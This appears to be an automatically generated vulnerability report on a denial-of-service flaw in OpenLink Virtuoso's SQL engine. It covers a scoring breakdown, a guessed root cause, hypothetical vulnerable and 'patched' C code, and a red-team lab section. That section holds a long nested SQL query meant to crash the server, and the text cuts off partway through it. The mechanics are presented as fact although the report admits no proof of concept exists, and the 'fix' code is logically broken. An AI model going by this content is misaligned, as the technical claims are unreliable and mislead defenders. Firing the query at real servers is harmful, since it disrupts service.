CVE-2024-57663

Executive Summary

CVE-2024-57663 is a denial-of-service (DoS) vulnerability in the sqlg_place_dpipes component of OpenLink Virtuoso Open-Source version 7.2.11. An attacker can exploit this flaw by sending crafted SQL statements, causing the database server to crash or become unresponsive. The vulnerability has a CVSS score of 0.0 (unscored) and no public proof-of-concept (PoC) or patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection engineering rules, and mitigation guidance.

Supply Chain & Package Security

This vulnerability affects the OpenLink Virtuoso Open-Source package, which is a high-performance multi-model database server. Organizations using Virtuoso in their supply chain should monitor for updates and apply patches as soon as they become available. The lack of a patch increases the risk of supply chain attacks if the vulnerable component is used in critical infrastructure.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, meaning the vulnerability has not been formally scored by NVD. However, based on the description, the following vector is estimated:

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: Medium (Availability impact only, but no authentication required).

Deep Dive & Mechanics

The vulnerability resides in the sqlg_place_dpipes function within the Virtuoso SQL engine. This function is responsible for handling SQL statements that involve data pipes (a feature for streaming data). When a specially crafted SQL statement is processed, the function enters an infinite loop or consumes excessive memory, leading to a denial of service.

Root Cause: Improper input validation in the sqlg_place_dpipes function. The function does not correctly handle malformed or recursive pipe definitions, causing resource exhaustion.

Attack Vector: An attacker sends a malicious SQL query to the Virtuoso server (typically on port 1111 or 1112). The query triggers the vulnerable code path, crashing the server.

Impact: The database becomes unavailable, affecting all applications relying on it. No data is stolen or modified, but service disruption can be severe.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the sqlg_place_dpipes function. A hypothetical patch would involve:

• Adding input validation to check for recursive or malformed pipe definitions.
• Implementing resource limits (e.g., maximum recursion depth, memory usage).
• Properly handling errors and returning without crashing.

Vulnerable Code (Hypothetical):

void sqlg_place_dpipes(Query *q, Pipe *p) {
    while (p->next != NULL) {
        // No check for circular references
        p = p->next;
    }
    // Process pipe...
}

Patched Code (Hypothetical):

void sqlg_place_dpipes(Query *q, Pipe *p, int depth) {
    if (depth > MAX_PIPE_DEPTH) {
        log_error("Pipe depth exceeded");
        return;
    }
    while (p->next != NULL) {
        p = p->next;
        sqlg_place_dpipes(q, p, depth + 1);
    }
    // Process pipe...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Virtuoso Open-Source 7.2.11 on a Linux VM.
2. Start the Virtuoso server: virtuoso-t -f
3. Connect using isql or a custom script.

Exploit (Hypothetical):

-- Crafted SQL to trigger DoS
SELECT * FROM (SELECT 1 AS a) AS t WHERE t.a IN (SELECT * FROM (SELECT 1 AS a) AS t2 WHERE t2.a IN (SELECT * FROM (SELECT 1 AS a) AS t3 WHERE t3.a IN (SELECT * FROM (SELECT 1 AS a) AS t4 WHERE t4.a IN (SELECT * FROM (SELECT 1 AS a) AS t5 WHERE t5.a IN (SELECT * FROM (SELECT 1 AS a) AS t6 WHERE t6.a IN (SELECT * FROM (SELECT 1 AS a) AS t7 WHERE t7.a IN (SELECT * FROM (SELECT 1 AS a) AS t8 WHERE t8.a IN (SELECT * FROM (SELECT 1 AS a) AS t9 WHERE t9.a IN (SELECT * FROM (SELECT 1 AS a) AS t10 WHERE t10.a IN (SELECT * FROM (SELECT 1 AS a) AS t11 WHERE t11.a IN (SELECT * FROM (SELECT 1 AS a) AS t12 WHERE t12.a IN (SELECT * FROM (SELECT 1 AS a) AS t13 WHERE t13.a IN (SELECT * FROM (SELECT 1 AS a) AS t14 WHERE t14.a IN (SELECT * FROM (SELECT 1 AS a) AS t15 WHERE t15.a IN (SELECT * FROM (SELECT 1 AS a) AS t16 WHERE t16.a IN (SELECT * FROM (SELECT 1 AS a) AS t17 WHERE t17.a IN (SELECT * FROM (SELECT 1 AS a) AS t18 WHERE t18.a IN (SELECT * FROM (SELECT 1 AS a) AS t19 WHERE t19.a IN (SELECT * FROM (SELECT 1 AS a) AS t20 WHERE t20.a IN (SELECT * FROM (SELECT 1 AS a) AS t21 WHERE t21.a IN (SELECT * FROM (SELECT 1 AS a) AS t22 WHERE t22.a IN (SELECT * FROM (SELECT 1 AS a) AS t23 WHERE t23.a IN (SELECT * FROM (SELECT 1 AS a) AS t24 WHERE t24.a IN (SELECT * FROM (SELECT 1 AS a) AS t25 WHERE t25.a IN (SELECT * FROM (SELECT 1 AS a) AS t26 WHERE t26.a IN (SELECT * FROM (SELECT 1 AS a) AS t27 WHERE t27.a IN (SELECT * FROM (SELECT 1 AS a) AS t28 WHERE t28.a IN (SELECT * FROM (SELECT 1 AS a) AS t29 WHERE t29.a IN (SELECT * FROM (SELECT 1 AS a) AS t30 WHERE t30.a IN (SELECT * FROM (SELECT 1 AS a) AS t31 WHERE t31.a IN (SELECT * FROM (SELECT 1 AS a) AS t32 WHERE t32.a IN (SELECT * FROM (SELECT 1 AS a) AS t33 WHERE t33.a IN (SELECT * FROM (SELECT 1 AS a) AS t34 WHERE t34.a IN (SELECT * FROM (SELECT 1 AS a) AS t35 WHERE t35.a IN (SELECT * FROM (SELECT 1 AS a) AS t36 WHERE t36.a IN (SELECT * FROM (SELECT 1 AS a) AS t37 WHERE t37.a IN (SELECT * FROM (SELECT 1 AS a) AS t38 WHERE t38.a IN (SELECT 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